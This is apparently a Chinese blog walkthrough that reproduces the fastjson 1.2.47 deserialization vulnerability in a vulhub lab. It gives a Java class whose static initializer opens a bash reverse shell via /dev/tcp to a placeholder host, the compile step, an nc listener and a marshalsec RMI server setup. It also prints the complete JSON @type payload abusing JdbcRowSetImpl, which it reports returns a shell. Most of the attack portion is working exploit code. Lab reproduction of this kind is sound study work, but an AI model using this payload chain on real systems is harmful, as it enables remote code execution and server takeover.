fastjson漏洞复现(fastjson 1.2.47)
原理: Fastjson 的 @type 字段允许反序列化时动态指定类,攻击者可以通过指定带有危险行为的类,并结合 RMI/LDAP 远程加载恶意类,从而实现命令执行。

开启vulhub靶场


//如何验证是否存在fastjson反序列化漏洞
有json数据传输的地方可能存在
可以尝试使用dnslog带外

但是不知道什么原因没有带出来
开始漏洞利用过程
1、构建一个的java文件
点击查看代码
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/<ip>/<反弹端口> 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2、将这个java文件进行编译
点击查看代码
javac TouchFile.java
会生成一个class文件


然后在终端中启动nc监听

3、然后就是开启一个web服务


4、搭建一个rmi服务
去gthub上下载:https://github.com/mbechler/marshalsec
下载之后是一个要编译的文件 注:编译环境不对可能会出问题我找到的解决方法是 :https://www.cnblogs.com/cute-puli/p/14373826.html
可以参考以上文档,我用的是centos 7的然后java版本跟他最近的版本就行步骤是一样的
5、打包完成之后就可以将这个服务启动起来

playload:
点击查看代码
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://<rmi服务的ip:端口>/TouchFile",
"autoCommit":true
}
}
然后发送出去
web有访问

rmi服务有访问:

shell弹回来了

浙公网安备 33010602011771号